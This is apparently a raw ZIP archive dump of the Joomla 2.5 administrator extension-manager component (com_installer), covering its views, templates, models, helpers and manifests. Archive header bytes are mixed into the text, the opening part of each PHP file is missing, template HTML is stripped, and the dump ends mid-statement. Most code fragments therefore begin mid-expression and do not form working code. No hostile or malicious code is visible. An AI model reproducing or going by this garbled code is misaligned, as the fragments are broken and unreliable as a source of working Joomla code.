PKs>\)*com_installer/views/default/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\g$com_installer/views/default/view.phpnuW+A_addPath('template', $this->_basePath . '/views/default/tmpl'); $this->_addPath('template', JPATH_THEMES.'/'.$app->getTemplate().'/html/com_installer/default'); } /** * @since 1.5 */ function display($tpl=null) { // Get data from the model $state = $this->get('State'); // Are there messages to display ? $showMessage = false; if (is_object($state)) { $message1 = $state->get('message'); $message2 = $state->get('extension_message'); $showMessage = ($message1 || $message2); } $this->showMessage = $showMessage; $this->assignRef('state', $state); JHtml::_('behavior.tooltip'); $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { $canDo = InstallerHelper::getActions(); JToolBarHelper::title(JText::_('COM_INSTALLER_HEADER_' . $this->getName()), 'install.png'); if ($canDo->get('core.admin')) { JToolBarHelper::preferences('com_installer'); JToolBarHelper::divider(); } // Document $document = JFactory::getDocument(); $document->setTitle(JText::_('COM_INSTALLER_TITLE_' . $this->getName())); } } PKs>\)%com_installer/views/default/.htaccessnuW+A Order allow,deny Deny from all PKs>\V&com_installer/views/default/index.htmlnuW+A PKs>\ڮG+com_installer/views/languages/view.html.phpnuW+Astate = $this->get('State'); $this->items = $this->get('Items'); $this->pagination = $this->get('Pagination'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } parent::display($tpl); } /** * Add the page title and toolbar. * * @return void */ protected function addToolbar() { $canDo = InstallerHelper::getActions(); JToolBarHelper::title(JText::_('COM_INSTALLER_HEADER_' . $this->getName()), 'install.png'); if ($canDo->get('core.admin')) { JToolBarHelper::custom('languages.install', 'upload', 'upload', 'COM_INSTALLER_TOOLBAR_INSTALL', true, false); JToolBarHelper::custom('languages.find', 'refresh', 'refresh', 'COM_INSTALLER_TOOLBAR_FIND_LANGUAGES', false, false); JToolBarHelper::custom('languages.purge', 'purge', 'purge', 'JTOOLBAR_PURGE_CACHE', false, false); JToolBarHelper::divider(); parent::addToolbar(); // TODO: this help screen will need to be created JToolBarHelper::help('JHELP_EXTENSIONS_EXTENSION_MANAGER_LANGUAGES'); } } }PKs>\V-com_installer/views/languages/tmpl/index.htmlnuW+A PKs>\w6 .com_installer/views/languages/tmpl/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $ver = new JVersion; ?>
items) || $this->escape($this->state->get('filter.search'))) : ?> loadTemplate('filter'); ?>
items as $i => $language) : ?> version, 0, 3) == $ver->RELEASE) : ?>
pagination->getListFooter(); ?>
update_id, false, 'cid'); ?> name; ?> version; ?> type)); ?> detailsurl; ?> update_id; ?>

PKs>\<5com_installer/views/languages/tmpl/default_filter.phpnuW+A
PKs>\),com_installer/views/languages/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\)'com_installer/views/languages/.htaccessnuW+A Order allow,deny Deny from all PKs>\V(com_installer/views/languages/index.htmlnuW+A PKs>\)%com_installer/views/install/.htaccessnuW+A Order allow,deny Deny from all PKs>\V&com_installer/views/install/index.htmlnuW+A PKs>\i,com_installer/views/install/tmpl/default.phpnuW+A showMessage) : ?> loadTemplate('message'); ?> loadTemplate('form'); ?> PKs>\UD ? ? 1com_installer/views/install/tmpl/default_form.phpnuW+A
ftp) : ?> loadTemplate('ftp'); ?>
PKs>\V+com_installer/views/install/tmpl/index.htmlnuW+A PKs>\)*com_installer/views/install/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\{2)com_installer/views/install/view.html.phpnuW+Afirst = ''; $state = $this->get('state'); $this->assignRef('paths', $paths); $this->assignRef('state', $state); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { parent::addToolbar(); JToolBarHelper::help('JHELP_EXTENSIONS_EXTENSION_MANAGER_INSTALL'); } } PKs>\)&com_installer/views/warnings/.htaccessnuW+A Order allow,deny Deny from all PKs>\LOB%%*com_installer/views/warnings/view.html.phpnuW+Aget('Items'); $this->assignRef('messages', $items); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { parent::addToolbar(); JToolBarHelper::help('JHELP_EXTENSIONS_EXTENSION_MANAGER_WARNINGS'); } } PKs>\V'com_installer/views/warnings/index.htmlnuW+A PKs>\)+com_installer/views/warnings/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\cח-com_installer/views/warnings/tmpl/default.phpnuW+A
messages)) { echo '

'. JText::_('COM_INSTALLER_MSG_WARNINGS_NONE').'

'; } else { echo JHtml::_('sliders.start', 'warning-sliders', array('useCookie'=>1)); foreach($this->messages as $message) { echo JHtml::_('sliders.panel', $message['message'], str_replace(' ', '', $message['message'])); echo '
'.$message['description'].'
'; } echo JHtml::_('sliders.panel', JText::_('COM_INSTALLER_MSG_WARNINGFURTHERINFO'), 'furtherinfo-pane'); echo '
'. JText::_('COM_INSTALLER_MSG_WARNINGFURTHERINFODESC') .'
'; echo JHtml::_('sliders.end'); } ?>
PKs>\V,com_installer/views/warnings/tmpl/index.htmlnuW+A PKs>\V%com_installer/views/update/index.htmlnuW+A PKs>\)$com_installer/views/update/.htaccessnuW+A Order allow,deny Deny from all PKs>\V*com_installer/views/update/tmpl/index.htmlnuW+A PKs>\x'r+com_installer/views/update/tmpl/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
showMessage) : ?> loadTemplate('message'); ?> ftp) : ?> loadTemplate('ftp'); ?> items)) : ?> items as $i=>$item): $client = $item->client_id ? JText::_('JADMINISTRATOR') : JText::_('JSITE'); ?>
pagination->getListFooter(); ?>
update_id); ?> escape($item->name); ?> extension_id ? JText::_('COM_INSTALLER_MSG_UPDATE_UPDATE') : JText::_('COM_INSTALLER_NEW_INSTALL') ?> type) ?> version ?> folder != '' ? $item->folder : JText::_('COM_INSTALLER_TYPE_NONAPPLICABLE'); ?> detailsurl ?> infourl)) : ?>
escape($item->infourl);?>

PKs>\))com_installer/views/update/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\7ff(com_installer/views/update/view.html.phpnuW+Astate = $this->get('State'); $this->items = $this->get('Items'); $this->pagination = $this->get('Pagination'); $paths = new stdClass(); $paths->first = ''; $this->assignRef('paths', $paths); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { $canDo = InstallerHelper::getActions(); JToolBarHelper::custom('update.update', 'upload', 'upload', 'COM_INSTALLER_TOOLBAR_UPDATE', true, false); JToolBarHelper::custom('update.find', 'refresh', 'refresh', 'COM_INSTALLER_TOOLBAR_FIND_UPDATES', false, false); JToolBarHelper::custom('update.purge', 'purge', 'purge', 'JTOOLBAR_PURGE_CACHE', false, false); JToolBarHelper::divider(); parent::addToolbar(); JToolBarHelper::help('JHELP_EXTENSIONS_EXTENSION_MANAGER_UPDATE'); } } PKs>\ĜScom_installer/installer.xmlnuW+A com_installer Joomla! Project April 2006 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 COM_INSTALLER_XML_DESCRIPTION config.xml controller.php index.html installer.php controllers helpers models views language/en-GB.com_installer.ini PKs>\4/+com_installer/access.xmlnuW+A
PKs>\@/com_installer/controller.phpnuW+AgetType(); $lName = JRequest::getCmd('layout', 'default'); // Get and render the view. if ($view = $this->getView($vName, $vFormat)) { $ftp = JClientHelper::setCredentialsFromRequest('ftp'); $view->assignRef('ftp', $ftp); // Get the model for the view. $model = $this->getModel($vName); // Push the model into the view (as default). $view->setModel($model, true); $view->setLayout($lName); // Push document object into the view. $view->assignRef('document', $document); // Load the submenu. InstallerHelper::addSubmenu($vName); $view->display(); } return $this; } } PKs>\rb??com_installer/installer.phpnuW+Aauthorise('core.manage', 'com_installer')) { return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR')); } $controller = JControllerLegacy::getInstance('Installer'); $controller->execute(JRequest::getCmd('task')); $controller->redirect(); PKs>\V com_installer/helpers/index.htmlnuW+A PKs>\)com_installer/helpers/.htaccessnuW+A Order allow,deny Deny from all PKs>\)$com_installer/helpers/html/.htaccessnuW+A Order allow,deny Deny from all PKs>\V%com_installer/helpers/html/index.htmlnuW+A PKs>\U@%com_installer/helpers/html/manage.phpnuW+A array( '', 'COM_INSTALLER_EXTENSION_PROTECTED', '', 'COM_INSTALLER_EXTENSION_PROTECTED', false, 'protected', 'protected' ), 1 => array( 'unpublish', 'COM_INSTALLER_EXTENSION_ENABLED', 'COM_INSTALLER_EXTENSION_DISABLE', 'COM_INSTALLER_EXTENSION_ENABLED', false, 'publish', 'publish' ), 0 => array( 'publish', 'COM_INSTALLER_EXTENSION_DISABLED', 'COM_INSTALLER_EXTENSION_ENABLE', 'COM_INSTALLER_EXTENSION_DISABLED', false, 'unpublish', 'unpublish' ), ); return JHtml::_('jgrid.state', $states, $value, $i, 'manage.', $enabled, true, $checkbox); } } PKs>\FA#com_installer/helpers/installer.phpnuW+Aset($action->name, $user->authorise($action->name, $assetName)); } return $result; } } PKs>\ViWcom_installer/config.xmlnuW+A
PKs>\J|%%com_installer/models/update.phpnuW+AsetState('message', $app->getUserState('com_installer.message')); $this->setState('extension_message', $app->getUserState('com_installer.extension_message')); $app->setUserState('com_installer.message', ''); $app->setUserState('com_installer.extension_message', ''); parent::populateState('name', 'asc'); } /** * Method to get the database query * * @return JDatabaseQuery The database query * @since 1.6 */ protected function getListQuery() { $db = $this->getDbo(); $query = $db->getQuery(true); // grab updates ignoring new installs $query->select('*')->from('#__updates')->where('extension_id != 0'); $query->order($this->getState('list.ordering').' '.$this->getState('list.direction')); // Filter by extension_id if ($eid = $this->getState('filter.extension_id')) { $query->where($db->nq('extension_id') . ' = ' . $db->q((int) $eid)); } else { $query->where($db->nq('extension_id').' != '.$db->q(0)); $query->where($db->nq('extension_id').' != '.$db->q(700)); } return $query; } /** * Finds updates for an extension. * * @param int Extension identifier to look for * @return boolean Result * @since 1.6 */ public function findUpdates($eid=0, $cache_timeout = 0) { $updater = JUpdater::getInstance(); $results = $updater->findUpdates($eid, $cache_timeout); return true; } /** * Removes all of the updates from the table. * * @return boolean result of operation * @since 1.6 */ public function purge() { $db = JFactory::getDBO(); // Note: TRUNCATE is a DDL operation // This may or may not mean depending on your database $db->setQuery('TRUNCATE TABLE #__updates'); if ($db->Query()) { // Reset the last update check timestamp $query = $db->getQuery(true); $query->update($db->nq('#__update_sites')); $query->set($db->nq('last_check_timestamp').' = '.$db->q(0)); $db->setQuery($query); $db->query(); $this->_message = JText::_('COM_INSTALLER_PURGED_UPDATES'); return true; } else { $this->_message = JText::_('COM_INSTALLER_FAILED_TO_PURGE_UPDATES'); return false; } } /** * Enables any disabled rows in #__update_sites table * * @return boolean result of operation * @since 1.6 */ public function enableSites() { $db = JFactory::getDBO(); $db->setQuery('UPDATE #__update_sites SET enabled = 1 WHERE enabled = 0'); if ($db->Query()) { if ($rows = $db->getAffectedRows()) { $this->_message .= JText::plural('COM_INSTALLER_ENABLED_UPDATES', $rows); } return true; } else { $this->_message .= JText::_('COM_INSTALLER_FAILED_TO_ENABLE_UPDATES'); return false; } } /** * Update function. * * Sets the "result" state with the result of the operation. * * @param Array[int] List of updates to apply * @since 1.6 */ public function update($uids) { $result = true; foreach($uids as $uid) { $update = new JUpdate(); $instance = JTable::getInstance('update'); $instance->load($uid); $update->loadFromXML($instance->detailsurl); // install sets state and enqueues messages $res = $this->install($update); if ($res) { $instance->delete($uid); } $result = $res & $result; } // Set the final state $this->setState('result', $result); } /** * Handles the actual update installation. * * @param JUpdate An update definition * @return boolean Result of install * @since 1.6 */ private function install($update) { $app = JFactory::getApplication(); if (isset($update->get('downloadurl')->_data)) { $url = trim($update->downloadurl->_data); } else { JError::raiseWarning('', JText::_('COM_INSTALLER_INVALID_EXTENSION_UPDATE')); return false; } $p_file = JInstallerHelper::downloadPackage($url); // Was the package downloaded? if (!$p_file) { JError::raiseWarning('', JText::sprintf('COM_INSTALLER_PACKAGE_DOWNLOAD_FAILED', $url)); return false; } $config = JFactory::getConfig(); $tmp_dest = $config->get('tmp_path'); // Unpack the downloaded package file $package = JInstallerHelper::unpack($tmp_dest . '/' . $p_file); // Get an installer instance $installer = JInstaller::getInstance(); $update->set('type', $package['type']); // Install the package if (!$installer->update($package['dir'])) { // There was an error updating the package $msg = JText::sprintf('COM_INSTALLER_MSG_UPDATE_ERROR', JText::_('COM_INSTALLER_TYPE_TYPE_'.strtoupper($package['type']))); $result = false; } else { // Package updated successfully $msg = JText::sprintf('COM_INSTALLER_MSG_UPDATE_SUCCESS', JText::_('COM_INSTALLER_TYPE_TYPE_'.strtoupper($package['type']))); $result = true; } // Quick change $this->type = $package['type']; // Set some model state values $app->enqueueMessage($msg); // TODO: Reconfigure this code when you have more battery life left $this->setState('name', $installer->get('name')); $this->setState('result', $result); $app->setUserState('com_installer.message', $installer->message); $app->setUserState('com_installer.extension_message', $installer->get('extension_message')); // Cleanup the install files if (!is_file($package['packagefile'])) { $config = JFactory::getConfig(); $package['packagefile'] = $config->get('tmp_path') . '/' . $package['packagefile']; } JInstallerHelper::cleanupInstall($package['packagefile'], $package['extractdir']); return $result; } } PKs>\Vcom_installer/models/index.htmlnuW+A PKs>\tI@&com_installer/models/fields/search.phpnuW+Aname . '" id="' . $this->id . '" value="' . htmlspecialchars($this->value) . '" title="' . JText::_('JSEARCH_FILTER') . '" onchange="this.form.submit();" />'; $html.= ''; $html.= ''; return $html; } } PKs>\)%com_installer/models/fields/.htaccessnuW+A Order allow,deny Deny from all PKs>\V&com_installer/models/fields/index.htmlnuW+A PKs>\yU;&com_installer/models/fields/client.phpnuW+Aelement['onchange'] ? ' onchange="'.(string) $this->element['onchange'].'"' : ''; $options = array(); foreach ($this->element->children() as $option) { $options[] = JHtml::_('select.option', $option->attributes('value'), JText::_(trim($option->data()))); } $options[] = JHtml::_('select.option', '0', JText::sprintf('JSITE')); $options[] = JHtml::_('select.option', '1', JText::sprintf('JADMINISTRATOR')); $return = JHtml::_('select.genericlist', $options, $this->name, $onchange, 'value', 'text', $this->value, $this->id); return $return; } } PKs>\$.ȳ%com_installer/models/fields/group.phpnuW+Aelement['onchange'] ? ' onchange="'.(string) $this->element['onchange'].'"' : ''; $options = array(); foreach ($this->element->children() as $option) { $options[] = JHtml::_('select.option', (string)$option->attributes()->value, JText::_(trim((string) $option))); } $dbo = JFactory::getDbo(); $query = $dbo->getQuery(true); $query->select('DISTINCT folder'); $query->from('#__extensions'); $query->where('folder != '.$dbo->quote('')); $query->order('folder'); $dbo->setQuery((string)$query); $folders = $dbo->loadColumn(); foreach($folders as $folder) { $options[] = JHtml::_('select.option', $folder, $folder); } $return = JHtml::_('select.genericlist', $options, $this->name, $onchange, 'value', 'text', $this->value, $this->id); return $return; } } PKs>\Woo$com_installer/models/fields/type.phpnuW+Aelement['onchange'] ? ' onchange="'.(string) $this->element['onchange'].'"' : ''; $options = array(); foreach ($this->element->children() as $option) { $options[] = JHtml::_('select.option', $option->attributes('value'), JText::_(trim((string) $option))); } $db = JFactory::getDBO(); $query = $db->getQuery(true); $query->select('type')->from('#__extensions'); $db->setQuery($query); $types = array_unique($db->loadColumn()); foreach($types as $type) { $options[] = JHtml::_('select.option', $type, JText::_('COM_INSTALLER_TYPE_'. strtoupper($type))); } $return = JHtml::_('select.genericlist', $options, $this->name, $onchange, 'value', 'text', $this->value, $this->id); return $return; } } PKs>\)com_installer/models/.htaccessnuW+A Order allow,deny Deny from all PKs>\D##com_installer/models/manage.phpnuW+AgetUserState($this->context.'.data'); $filters = $data['filters']; } else { $app->setUserState($this->context.'.data', array('filters'=>$filters)); } $this->setState('message', $app->getUserState('com_installer.message')); $this->setState('extension_message', $app->getUserState('com_installer.extension_message')); $app->setUserState('com_installer.message', ''); $app->setUserState('com_installer.extension_message', ''); $this->setState('filter.search', isset($filters['search']) ? $filters['search'] : ''); $this->setState('filter.status', isset($filters['status']) ? $filters['status'] : ''); $this->setState('filter.type', isset($filters['type']) ? $filters['type'] : ''); $this->setState('filter.group', isset($filters['group']) ? $filters['group'] : ''); $this->setState('filter.client_id', isset($filters['client_id']) ? $filters['client_id'] : ''); parent::populateState('name', 'asc'); } /** * Enable/Disable an extension. * * @return boolean True on success * @since 1.5 */ function publish(&$eid = array(), $value = 1) { // Initialise variables. $user = JFactory::getUser(); if ($user->authorise('core.edit.state', 'com_installer')) { $result = true; /* * Ensure eid is an array of extension ids * TODO: If it isn't an array do we want to set an error and fail? */ if (!is_array($eid)) { $eid = array($eid); } // Get a database connector $db = JFactory::getDBO(); // Get a table object for the extension type $table = JTable::getInstance('Extension'); JTable::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_templates/tables'); // Enable the extension in the table and store it in the database foreach($eid as $i=>$id) { $table->load($id); if ($table->type == 'template') { $style = JTable::getInstance('Style', 'TemplatesTable'); if ($style->load(array('template' => $table->element, 'client_id' => $table->client_id, 'home'=>1))) { JError::raiseNotice(403, JText::_('COM_INSTALLER_ERROR_DISABLE_DEFAULT_TEMPLATE_NOT_PERMITTED')); unset($eid[$i]); continue; } } if ($table->protected == 1) { $result = false; JError::raiseWarning(403, JText::_('JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED')); } else { $table->enabled = $value; } if (!$table->store()) { $this->setError($table->getError()); $result = false; } } } else { $result = false; JError::raiseWarning(403, JText::_('JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED')); } return $result; } /** * Refreshes the cached manifest information for an extension. * * @param int extension identifier (key in #__extensions) * @return boolean result of refresh * @since 1.6 */ function refresh($eid) { if (!is_array($eid)) { $eid = array($eid => 0); } // Get a database connector $db = JFactory::getDBO(); // Get an installer object for the extension type $installer = JInstaller::getInstance(); $row = JTable::getInstance('extension'); $result = 0; // Uninstall the chosen extensions foreach($eid as $id) { $result|= $installer->refreshManifestCache($id); } return $result; } /** * Remove (uninstall) an extension * * @param array An array of identifiers * @return boolean True on success * @since 1.5 */ function remove($eid = array()) { // Initialise variables. $user = JFactory::getUser(); if ($user->authorise('core.delete', 'com_installer')) { // Initialise variables. $failed = array(); /* * Ensure eid is an array of extension ids in the form id => client_id * TODO: If it isn't an array do we want to set an error and fail? */ if (!is_array($eid)) { $eid = array($eid => 0); } // Get a database connector $db = JFactory::getDBO(); // Get an installer object for the extension type $installer = JInstaller::getInstance(); $row = JTable::getInstance('extension'); // Uninstall the chosen extensions foreach($eid as $id) { $id = trim($id); $row->load($id); if ($row->type) { $result = $installer->uninstall($row->type, $id); // Build an array of extensions that failed to uninstall if ($result === false) { $failed[] = $id; } } else { $failed[] = $id; } } $langstring = 'COM_INSTALLER_TYPE_TYPE_'. strtoupper($row->type); $rowtype = JText::_($langstring); if(strpos($rowtype, $langstring) !== false) { $rowtype = $row->type; } if (count($failed)) { // There was an error in uninstalling the package $msg = JText::sprintf('COM_INSTALLER_UNINSTALL_ERROR', $rowtype); $result = false; } else { // Package uninstalled sucessfully $msg = JText::sprintf('COM_INSTALLER_UNINSTALL_SUCCESS', $rowtype); $result = true; } $app = JFactory::getApplication(); $app->enqueueMessage($msg); $this->setState('action', 'remove'); $this->setState('name', $installer->get('name')); $app->setUserState('com_installer.message', $installer->message); $app->setUserState('com_installer.extension_message', $installer->get('extension_message')); return $result; } else { $result = false; JError::raiseWarning(403, JText::_('JERROR_CORE_DELETE_NOT_PERMITTED')); } } /** * Method to get the database query * * @return JDatabaseQuery The database query * @since 1.6 */ protected function getListQuery() { $status = $this->getState('filter.status'); $type = $this->getState('filter.type'); $client = $this->getState('filter.client_id'); $group = $this->getState('filter.group'); $query = JFactory::getDBO()->getQuery(true); $query->select('*'); $query->select('2*protected+(1-protected)*enabled as status'); $query->from('#__extensions'); $query->where('state=0'); if ($status != '') { if ($status == '2') { $query->where('protected = 1'); } else { $query->where('protected = 0'); $query->where('enabled=' . intval($status)); } } if ($type) { $query->where('type=' . $this->_db->Quote($type)); } if ($client != '') { $query->where('client_id=' . intval($client)); } if ($group != '' && in_array($type, array('plugin', 'library', ''))) { $query->where('folder=' . $this->_db->Quote($group == '*' ? '' : $group)); } // Filter by search in id $search = $this->getState('filter.search'); if (!empty($search) && stripos($search, 'id:') === 0) { $query->where('extension_id = '.(int) substr($search, 3)); } return $query; } /** * Method to get the row form. * * @param array $data Data for the form. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * @return mixed A JForm object on success, false on failure * @since 1.6 */ public function getForm($data = array(), $loadData = true) { // Get the form. $app = JFactory::getApplication(); JForm::addFormPath(JPATH_COMPONENT . '/models/forms'); JForm::addFieldPath(JPATH_COMPONENT . '/models/fields'); $form = JForm::getInstance('com_installer.manage', 'manage', array('load_data' => $loadData)); // Check for an error. if ($form == false) { $this->setError($form->getMessage()); return false; } // Check the session for previously entered form data. $data = $this->loadFormData(); // Bind the form data if present. if (!empty($data)) { $form->bind($data); } return $form; } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form. * @since 1.6 */ protected function loadFormData() { // Check the session for previously entered form data. $data = JFactory::getApplication()->getUserState('com_installer.manage.data', array()); return $data; } } PKs>\ˬv!com_installer/models/warnings.phpnuW+AJText::_('COM_INSTALLER_MSG_WARNINGS_FILEUPLOADSDISABLED'), 'description'=>JText::_('COM_INSTALLER_MSG_WARNINGS_FILEUPLOADISDISABLEDDESC')); } $upload_dir = ini_get('upload_tmp_dir'); if (!$upload_dir) { $messages[] = array('message'=>JText::_('COM_INSTALLER_MSG_WARNINGS_PHPUPLOADNOTSET'), 'description'=>JText::_('COM_INSTALLER_MSG_WARNINGS_PHPUPLOADNOTSETDESC')); } else { if (!is_writeable($upload_dir)) { $messages[] = array('message'=>JText::_('COM_INSTALLER_MSG_WARNINGS_PHPUPLOADNOTWRITEABLE'), 'description'=>JText::sprintf('COM_INSTALLER_MSG_WARNINGS_PHPUPLOADNOTWRITEABLEDESC', $upload_dir)); } } $config = JFactory::getConfig(); $tmp_path = $config->get('tmp_path'); if (!$tmp_path) { $messages[] = array('message'=>JText::_('COM_INSTALLER_MSG_WARNINGS_JOOMLATMPNOTSET'), 'description'=>JText::_('COM_INSTALLER_MSG_WARNINGS_JOOMLATMPNOTSETDESC')); } else { if (!is_writeable($tmp_path)) { $messages[] = array('message'=>JText::_('COM_INSTALLER_MSG_WARNINGS_JOOMLATMPNOTWRITEABLE'), 'description'=>JText::sprintf('COM_INSTALLER_MSG_WARNINGS_JOOMLATMPNOTWRITEABLEDESC', $tmp_path)); } } $memory_limit = $this->return_bytes(ini_get('memory_limit')); if ($memory_limit < (8 * 1024 * 1024) && $memory_limit != -1) { // 8MB $messages[] = array('message'=>JText::_('COM_INSTALLER_MSG_WARNINGS_LOWMEMORYWARN'), 'description'=>JText::_('COM_INSTALLER_MSG_WARNINGS_LOWMEMORYDESC')); } elseif ($memory_limit < (16 * 1024 * 1024) && $memory_limit != -1) { //16MB $messages[] = array('message'=>JText::_('COM_INSTALLER_MSG_WARNINGS_MEDMEMORYWARN'), 'description'=>JText::_('COM_INSTALLER_MSG_WARNINGS_MEDMEMORYDESC')); } $post_max_size = $this->return_bytes(ini_get('post_max_size')); $upload_max_filesize = $this->return_bytes(ini_get('upload_max_filesize')); if($post_max_size < $upload_max_filesize) { $messages[] = array('message'=>JText::_('COM_INSTALLER_MSG_WARNINGS_UPLOADBIGGERTHANPOST'), 'description'=>JText::_('COM_INSTALLER_MSG_WARNINGS_UPLOADBIGGERTHANPOSTDESC')); } if($post_max_size < (4 * 1024 * 1024)) // 4MB { $messages[] = array('message'=>JText::_('COM_INSTALLER_MSG_WARNINGS_SMALLPOSTSIZE'), 'description'=>JText::_('COM_INSTALLER_MSG_WARNINGS_SMALLPOSTSIZEDESC')); } if($upload_max_filesize < (4 * 1024 * 1024)) // 4MB { $messages[] = array('message'=>JText::_('COM_INSTALLER_MSG_WARNINGS_SMALLUPLOADSIZE'), 'description'=>JText::_('COM_INSTALLER_MSG_WARNINGS_SMALLUPLOADSIZEDESC')); } return $messages; } } PKs>\֪!com_installer/models/database.phpnuW+AsetState('message', $app->getUserState('com_installer.message')); $this->setState('extension_message', $app->getUserState('com_installer.extension_message')); $app->setUserState('com_installer.message', ''); $app->setUserState('com_installer.extension_message', ''); parent::populateState('name', 'asc'); } /** * * Fixes database problems */ public function fix() { $changeSet = $this->getItems(); $changeSet->fix(); $this->fixSchemaVersion($changeSet); $this->fixUpdateVersion(); $installer = new joomlaInstallerScript(); $installer->deleteUnexistingFiles(); $this->fixDefaultTextFilters(); } /** * * Gets the changeset object * * @return JSchemaChangeset */ public function getItems() { $folder = JPATH_ADMINISTRATOR . '/components/com_admin/sql/updates/'; $changeSet = JSchemaChangeset::getInstance(JFactory::getDbo(), $folder); return $changeSet; } public function getPagination() { return true; } /** * Get version from #__schemas table * * @return mixed the return value from the query, or null if the query fails * @throws Exception */ public function getSchemaVersion() { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('version_id')->from($db->qn('#__schemas')) ->where('extension_id = 700'); $db->setQuery($query); $result = $db->loadResult(); if ($db->getErrorNum()) { throw new Exception('Database error - getSchemaVersion'); } return $result; } /** * Fix schema version if wrong * * @param JSchemaChangeSet * * @return mixed string schema version if success, false if fail */ public function fixSchemaVersion($changeSet) { // Get correct schema version -- last file in array $schema = $changeSet->getSchema(); $db = JFactory::getDbo(); $result = false; // Check value. If ok, don't do update $version = $this->getSchemaVersion(); if ($version == $schema) { $result = $version; } else { // Delete old row $query = $db->getQuery(true); $query->delete($db->qn('#__schemas')); $query->where($db->qn('extension_id') . ' = 700'); $db->setQuery($query); $db->query(); // Add new row $query = $db->getQuery(true); $query->insert($db->qn('#__schemas')); $query->set($db->qn('extension_id') . '= 700'); $query->set($db->qn('version_id') . '= ' . $db->q($schema)); $db->setQuery($query); if ($db->query()) { $result = $schema; } } return $result; } /** * Get current version from #__extensions table * * @return mixed version if successful, false if fail */ public function getUpdateVersion() { $table = JTable::getInstance('Extension'); $table->load('700'); $cache = new JRegistry($table->manifest_cache); return $cache->get('version'); } /** * Fix Joomla version in #__extensions table if wrong (doesn't equal JVersion short version) * * @return mixed string update version if success, false if fail */ public function fixUpdateVersion() { $table = JTable::getInstance('Extension'); $table->load('700'); $cache = new JRegistry($table->manifest_cache); $updateVersion = $cache->get('version'); $cmsVersion = new JVersion(); if ($updateVersion == $cmsVersion->getShortVersion()) { return $updateVersion; } else { $cache->set('version', $cmsVersion->getShortVersion()); $table->manifest_cache = $cache->toString(); if ($table->store()) { return $cmsVersion->getShortVersion(); } else { return false; } } } /** * For version 2.5.x only * Check if com_config parameters are blank. * * @return string default text filters (if any) */ public function getDefaultTextFilters() { $table = JTable::getInstance('Extension'); $table->load($table->find(array('name' => 'com_config'))); return $table->params; } /** * For version 2.5.x only * Check if com_config parameters are blank. If so, populate with com_content text filters. * * @return mixed boolean true if params are updated, null otherwise */ public function fixDefaultTextFilters() { $table = JTable::getInstance('Extension'); $table->load($table->find(array('name' => 'com_config'))); // Check for empty $config and non-empty content filters if (!$table->params) { // Get filters from com_content and store if you find them $contentParams = JComponentHelper::getParams('com_content'); if ($contentParams->get('filters')) { $newParams = new JRegistry(); $newParams->set('filters', $contentParams->get('filters')); $table->params = (string) $newParams; $table->store(); return true; } } } } PKs>\##!com_installer/models/discover.phpnuW+AsetState('message', $app->getUserState('com_installer.message')); $this->setState('extension_message', $app->getUserState('com_installer.extension_message')); $app->setUserState('com_installer.message', ''); $app->setUserState('com_installer.extension_message', ''); parent::populateState('name', 'asc'); } /** * Method to get the database query. * * @return JDatabaseQuery the database query * @since 1.6 */ protected function getListQuery() { $db = JFactory::getDBO(); $query = $db->getQuery(true); $query->select('*'); $query->from('#__extensions'); $query->where('state=-1'); return $query; } /** * Discover extensions. * * Finds uninstalled extensions * * @since 1.6 */ function discover() { $installer = JInstaller::getInstance(); $results = $installer->discover(); // Get all templates, including discovered ones $query = 'SELECT extension_id, element, folder, client_id, type FROM #__extensions'; $dbo = JFactory::getDBO(); $dbo->setQuery($query); $installedtmp = $dbo->loadObjectList(); $extensions = array(); foreach($installedtmp as $install) { $key = implode(':', array($install->type, $install->element, $install->folder, $install->client_id)); $extensions[$key] = $install; } unset($installedtmp); foreach($results as $result) { // check if we have a match on the element $key = implode(':', array($result->type, $result->element, $result->folder, $result->client_id)); if(!array_key_exists($key, $extensions)) { $result->store(); // put it into the table } } } /** * Installs a discovered extension. * * @since 1.6 */ function discover_install() { $app = JFactory::getApplication(); $installer = JInstaller::getInstance(); $eid = JRequest::getVar('cid', 0); if (is_array($eid) || $eid) { if (!is_array($eid)) { $eid = array($eid); } JArrayHelper::toInteger($eid); $app = JFactory::getApplication(); $failed = false; foreach($eid as $id) { $result = $installer->discover_install($id); if (!$result) { $failed = true; $app->enqueueMessage(JText::_('COM_INSTALLER_MSG_DISCOVER_INSTALLFAILED').': '. $id); } } $this->setState('action', 'remove'); $this->setState('name', $installer->get('name')); $app->setUserState('com_installer.message', $installer->message); $app->setUserState('com_installer.extension_message', $installer->get('extension_message')); if (!$failed) { $app->enqueueMessage(JText::_('COM_INSTALLER_MSG_DISCOVER_INSTALLSUCCESSFUL')); } } else { $app->enqueueMessage(JText::_('COM_INSTALLER_MSG_DISCOVER_NOEXTENSIONSELECTED')); } } /** * Cleans out the list of discovered extensions. * * @since 1.6 */ function purge() { $db = JFactory::getDBO(); $query = $db->getQuery(true); $query->delete(); $query->from('#__extensions'); $query->where('state = -1'); $db->setQuery((string)$query); if ($db->Query()) { $this->_message = JText::_('COM_INSTALLER_MSG_DISCOVER_PURGEDDISCOVEREDEXTENSIONS'); return true; } else { $this->_message = 